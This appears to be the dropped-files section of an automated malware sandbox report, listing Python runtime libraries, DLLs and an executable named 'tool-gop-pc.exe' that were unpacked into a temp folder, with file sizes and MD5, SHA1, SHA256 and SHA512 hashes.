8361dd44afbfed63c86d9353c27fe6cbabcbb9252c2e23b00683a375b9db2bc9

SHA512
ea6558c6149e8609de55f97c7b7c99dc2dcc0d8bf4d5c07169837e94b5e1efb69c8a5ed07ea3657126836e5d066a6110cdfe51a4dd753241d4a22fb87c29683b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\encodings\utf_8.pyc

Filesize
2KB

MD5
e5b6187bc7b7d494d036bf113c063b3a

SHA1
cd8efa2e3dd95c335fb827d5ea956c143144534b

SHA256
27cf7edc2f293edf87f83be84beb8165856dfd40c3b11f1dd4e03eeb2f33bede

SHA512
3dd4c311b47d5473bcc2049e3186d0440b502d5423aebc36586c892bdeb9f91ab2bae73e5b7d45854ff95c68c2e1a92ef7c0d810ff51b7f6b670c2dec5b860e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\http\__init__.pyc

Filesize
9KB

MD5
3529a48abd4ae50275a946593aa5f4dd

SHA1
9c24806b67c89e0fcacbc6e6303c2176e3c48f80

SHA256
9282fd16a8067bc005c1df6ed7dfdfc517c81b381b8a9816ece49f23fc20e7c3

SHA512
32236ef1dd7c6c1481b3a0b0890ae36483a02a23b4f38479fdf514aba9323162f5e3c6ac92a75de8ac4f2a63070b8da8cbd2184b3b34131e1b5a013e5e39241c

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\http\client.pyc

Filesize
55KB

MD5
d6c6765fd52412b6a2201c6451abc835

SHA1
644d8223962e8f376d40a91ea6ac1df0cc7fbadb

SHA256
17b0fdc00ef7a5cf091bb0f080eddb9b332d750fa0bc2c5b59499f398bbd64ad

SHA512
b37e17378ab0fd501aa73f6c316b49b86dc3e5bef03d542e24c5b07c9e8716caadf49483504f6d8075c41005750c5a57025b41a1d0a84a87a3f468975c861923

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\importlib\__init__.pyc

Filesize
4KB

MD5
f96d0b9206a84b3372598bcdf0b2d145

SHA1
321613227a6febd80bf275b76d14002e7f502455

SHA256
3613f8631e189bef3042167bb8ab704aab4e1886b95cb1022201c605080928b3

SHA512
0e2ac0c0e104718dfff22359ee67e59b1c2b13d5398e49b1c4b2dbe2a7e941dc770a9c49f4ccc4b76c5aef456d3ac54213925373b4bc68de6a2b4fa311943410

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\importlib\_abc.pyc

Filesize
1KB

MD5
846c3857ec945f478984c6f6395ff050

SHA1
70d02a61ae96fc4b7854243fe812a4a402730a94

SHA256
21d7e405dc9c422552737baeabd6f810c718fd0b54b5cc20529ca20f73c8ad23

SHA512
a4500d2f12fccf29ff2a4d4964c49474b6d0ccd3d4760a5a4862b3ed6ff160a6c1a6be5c9291fcaf7286154e7c8450c750a5a0001e42c60d92bac8ca32a1b025

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\json\__init__.pyc

Filesize
13KB

MD5
5970264334e59be741f16d450a098407

SHA1
66ee16fb1db674372867a7f3f4e16bfd5ff0720d

SHA256
81ca952093407d7f876f12ce1bcc6beb13b0e1c2e124234259d20575ac4fbbc4

SHA512
e881fe2bef69712988ceff25d7cf23fcd4cde820551bdd97c09113f59cca52e667412b925fba814ae76406e99be8eedadf1359f73776ae0c93993473d917641a

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\json\decoder.pyc

Filesize
13KB

MD5
a0d6f5f69317054b222d55d0b4d74129

SHA1
2df460c9cd7630db58d51aed6ea4f94bf9c1aaee

SHA256
52ebbc3696d8cd88d67cabb464afa3571c66d1b934d268534d0f1c7d0868b641

SHA512
32a59e9b18f86361c522e9f4a03288f02b9a2189b9c288264fea4a4e95e0c632635c2196b29ece9e6a8d53c85b52203f472f37d302f3db381c11d47d4a66da76

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\json\encoder.pyc

Filesize
14KB

MD5
4e6731a55d2dad38584bb6491d67ec05

SHA1
b1162219e18e483573a385162705e873d5d6ab6a

SHA256
e3c13568c12b139ad17d5f3527379c0b0cdb309aca2f7752b9b63c0f204848e7

SHA512
0dfee38a196c5112e11899bcc824926832e2b959aab852a18622f28ea94afc682449f9d8604666558a08a7efacfee0764d1911b67afa95525f00b0d993ba4619

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\json\scanner.pyc

Filesize
3KB

MD5
1ee8b52ff89f23c07135c10cb47f9f85

SHA1
5ece5aa72fd5208a678ad313e00736c9e3767f44

SHA256
68ec87c87c7148da914ca6f7b05a16990ee772aed814f924f3b48b66f5938902

SHA512
0485ec5943cf30a6ef1cead37f5e6bca741fd152900063d9eefef139a84d3a34feb3b4ebff103840a66484294e9ad8c1259211f093d9d501bfaf7d21b8c050d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\libffi-8.dll

Filesize
38KB

MD5
0f8e4992ca92baaf54cc0b43aaccce21

SHA1
c7300975df267b1d6adcbac0ac93fd7b1ab49bd2

SHA256
eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a

SHA512
6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\library.zip

Filesize
1.7MB

MD5
f568af25e3da5c0f7e1a60c8c2f6c18b

SHA1
3723171516c89ef83ddf86059d391beae9c60c30

SHA256
3bda2db6a60be175f5a5c04d8c9ffd98f6097fd5c7009555829f6007f1714171

SHA512
3a31aedc9b7597a5d6dd1cb231001f63270900cf6a06d15bdaa1f5317e40673a1672a08f3a056d7aabb89a06a838f60fa1a0766a84445754cf4a65e71b7b726b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\logging\__init__.pyc

Filesize
93KB

MD5
3d0815385a8a451425dfaed360a93504

SHA1
132f947c72c8a8a39a39e94212a94d92dd71c332

SHA256
ddd22f180455eb4af8c8d77a21ff5136f84bee39bd846f04c74064e3ac0a46da

SHA512
c9cdf30379ce8ef565a1fff241ae7582133f3a44a6421d2faea6b645f5a55c60c4909bccdc0172492377bbb8719b0e959ef93b7f1c651a1b6e05a70af5b35a05

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\re\__init__.pyc

Filesize
17KB

MD5
6657f13bf138cbbc899ae960b99d2846

SHA1
7ff9b48bfc49a609a61ec865baf84822c816b6b6

SHA256
3c09a44f899be48d2e19b40978d3cdd3ae785df2df112419f43ecaf148ab6242

SHA512
2a26cc6fab18e1e94846cd4f6f4f23004ece9be411703c20e7f456a34d0e9be866ea58fbd21dcdc7e89349080f77d68011c55f448d4d65a6ba70c31d3b9a432b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\re\_casefix.pyc

Filesize
1KB

MD5
07fb23da5ad6e4645fae3d51f4c55bfc

SHA1
15ac569cbc1b51b8aceae643b34cd27ae390dc42

SHA256
9b4e09a521d0a6bafc7e2ca67c01e20f3c26a7e0286655b215f442f1818e2c51

SHA512
8bd5d148115d532c1fc82ac186d6afb057b811992442cbd261385c39033217c7f9640cdc297ae706d5832afbd01c12f468b71873d201c0c172f912c5a35d9c04

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\re\_compiler.pyc

Filesize
25KB

MD5
5b56e13fe1d12e4b536e74c7cef53ade

SHA1
67d87642e5b78984ca8131c5e148198815b46783

SHA256
b95f491c85a8f9515b20efb8537910ab708b1079c9980b9c9e1779024e63400f

SHA512
0be8d099baba331b3dc9b93f9bcc4f5520db8f897b2cf98381a1a6eb1fdffd3d7bec96b3e2dbbd7ce63a57150ad440d700833928b54170670387aa7d3f195205

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\re\_constants.pyc

Filesize
5KB

MD5
8cfd78a37389823c84e0278f40667b5c

SHA1
1c08b39774d4e34ada6fa6a200a0c4ba7627b22b

SHA256
c051ea67a214f54e7b1b96c86e4d5c8953af98592400c6d43392b6a8452a4c44

SHA512
2b8cedc7f8941445f6f19511226f144a40f0dfe1239a209e8b8dc1d9b38e4a02e0aa0c8ca8de237c07d49bfb74c8a0eef8e8430e67947a5e4f3955245ba0aec4

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\re\_parser.pyc

Filesize
41KB

MD5
53c1ea92d06d92f7a88180750445d0d6

SHA1
c1eecd0878700152dff753db394435d6b1477873

SHA256
2c66e7d253ddbe2999572196cdda84f98076719f48725caea52d9eec8bfc1033

SHA512
e9d4fa0fa864d77fb80a7a8f447e1ebb4327fe17cde7c43524034f3fbc4d10361a83799c9e45709cc747749e041b73b41102315333ff17c95ddee9cc4c7c7967

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\requests\__init__.pyc

Filesize
5KB

MD5
484545e33b5b9fc2da913ee345ccc20e

SHA1
0780e7a73e4293c157973d9c113406d6ab54ae91

SHA256
0bee3e74663f9ce19b5ca9b6891e3837ef56885ede35bac671138667fa4a14ec

SHA512
c651e34abc65ffe74f5d348dcdf61d280f5d7c361a2b0d9f019483fa16451eafa4f6f44828b893cc255d32a382a5c1635a2881a2e197719542e1be5d2961ba3b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\select.pyd

Filesize
29KB

MD5
92b440ca45447ec33e884752e4c65b07

SHA1
5477e21bb511cc33c988140521a4f8c11a427bcc

SHA256
680df34fb908c49410ac5f68a8c05d92858acd111e62d1194d15bdce520bd6c3

SHA512
40e60e1d1445592c5e8eb352a4052db28b1739a29e16b884b0ba15917b058e66196988214ce473ba158704837b101a13195d5e48cb1dc2f07262dfecfe8d8191

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\sqlite3.dll

Filesize
1.5MB

MD5
612fc8a817c5faa9cb5e89b0d4096216

SHA1
c8189cbb846f9a77f1ae67f3bd6b71b6363b9562

SHA256
7da1c4604fc97ba033830a2703d92bb6d10a9bba201ec64d13d5ccbfecd57d49

SHA512
8a4a751af7611651d8d48a894c0d67eb67d5c22557ba4ddd298909dd4fb05f5d010fe785019af06e6ca2e406753342c54668e9c4e976baf758ee952834f8a237

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\sqlite3\__init__.pyc

Filesize
1KB

MD5
4fb6a368e9d53f1b7bd2af4d11d60ed8

SHA1
9124710c6a3ac662f88cd3b0912301ccdcc4b1b6

SHA256
a7ba4d80682e72bf853e84db1d130c5023539a563c38362b376d4775276d96f5

SHA512
d52f6df765004ad6c1a173957d0aa16809c3c5a9ce39747c2eab25989aeb6a07e93fb80c5bc70ae9ca8c0872d0b8c577dc70fb25e8550b970e3b3427157e25e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\sqlite3\dbapi2.pyc

Filesize
5KB

MD5
04392afdb29851d1fcbcf8f4aa6813e4

SHA1
f0e1f2f9fb59b0e9918314748ef419b717aaed42

SHA256
13bcab3bb3590dd76b008cf775a4d122c15ec2331d0d13909a8162f5489a8841

SHA512
35a9f8c1d4faf5872fb173d0bdbd09f2c8f66d1e9eabff930e750a08506ca4b730315c01704141c6941661bfbe66406a27698d37a3f9a59b46a29d492d4df709

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\urllib3\__init__.pyc

Filesize
3KB

MD5
ffb526f9c2165193d2edc5a5554114cd

SHA1
d29ded4cdf8819bf28a84a365851e8c6ba01ea8f

SHA256
d2c3416df4236d82e81430239ff17d25cd50b9b2bc39742e2cb34f45f7132e0a

SHA512
cfc9a7cb7921e586ef3615f91139d1bdfd55cea3e1a89fdc299e90022aeb19710e41a7e95e695622e04d4e8cccb5d4e530021f79df498308a289422e9b0b6eb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\urllib3\exceptions.pyc

Filesize
13KB

MD5
1287f250a473f6b9c1b5555836652adc

SHA1
cde75f4e8a3e1dac6dcd2709f01044960a4fb302

SHA256
1be94ecae324dde68a3e926f673cc6abbc34b21bbc970e374a3e8ce43901a158

SHA512
c140a2e0bdfef5813665e0d2c2c925cfb0fff57fce1133d7d0baf99bd6d00643063a42b7386fda62621695a5b9b62baa97056f081e56934eb144ef7c8f62d490

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\urllib3\packages\__init__.pyc

Filesize
263B

MD5
153e82bef560fb2ea9bcbd3dc6d2471a

SHA1
d27df3cb3aff466f240106008c51a0a480dadff4

SHA256
c14b05cdb1f0585b106041f56a5d9ef71a2f01be48cf321d40742195c5efd815

SHA512
ce656dd0771f6b970c3a5dc53f7f87bfffeeeee9f2d31296e3f88315ffb396133c51cb41e589d6b7ca2dac29fd577527138e31aa9e3211e1d5ef380982c0b0c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\lib\urllib3\packages\six.pyc

Filesize
40KB

MD5
195ba9951469ae17c5dc0fd154fbd922

SHA1
97d3e1d6c37188dced458fae5e1ff263d5bcac46

SHA256
46140c5eafc755edb98a4830f3905d071568ca938ddb8589377be7946c4cc8b9

SHA512
eb1100cdec3900f4878fad49d33593ea78f803eba19682348bdc18db7e117182b4292ad462bbf6ac080b1bd25b53a732a936139344b6ac4c1d7fc75fdcefc62e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\python3.dll

Filesize
66KB

MD5
79b02450d6ca4852165036c8d4eaed1f

SHA1
ce9ff1b302426d4c94a2d3ea81531d3cb9e583e4

SHA256
d2e348e615a5d3b08b0bac29b91f79b32f0c1d0be48976450042462466b51123

SHA512
47044d18db3a4dd58a93b43034f4fafa66821d157dcfefb85fca2122795f4591dc69a82eb2e0ebd9183075184368850e4caf9c9fea0cfe6f766c73a60ffdf416

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\python312.dll

Filesize
6.6MB

MD5
3c388ce47c0d9117d2a50b3fa5ac981d

SHA1
038484ff7460d03d1d36c23f0de4874cbaea2c48

SHA256
c98ba3354a7d1f69bdca42560feec933ccba93afcc707391049a065e1079cddb

SHA512
e529c5c1c028be01e44a156cd0e7cad0a24b5f91e5d34697fafc395b63e37780dc0fac8f4c5d075ad8fe4bd15d62a250b818ff3d4ead1e281530a4c7e3ce6d35

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\tool-gop-pc.exe

Filesize
15KB

MD5
9ac3bc1fd72efa1429db9fba1791394c

SHA1
7f2003cc0054697b6940f674719ccac8ec16ee79

SHA256
f808b9aaa0d27e1b752c67bc6ec8733d533e0f36597a72af8aa36c389166685d

SHA512
893726a6dc099f0ac6b878a314676c1790d5b8d984d101b7944f9eaeda4cb3de0fda3083ca1ab898be4584af8ed39539cfb799c75c0fb221386841e98d598a03

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wszdz0dm.hv0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1740-1892-0x000002203A5C0000-0x000002203A5E2000-memory.dmp

Filesize
136KB

Download
memory/1740-1909-0x0000022053710000-0x0000022053718000-memory.dmp

Filesize
32KB

Download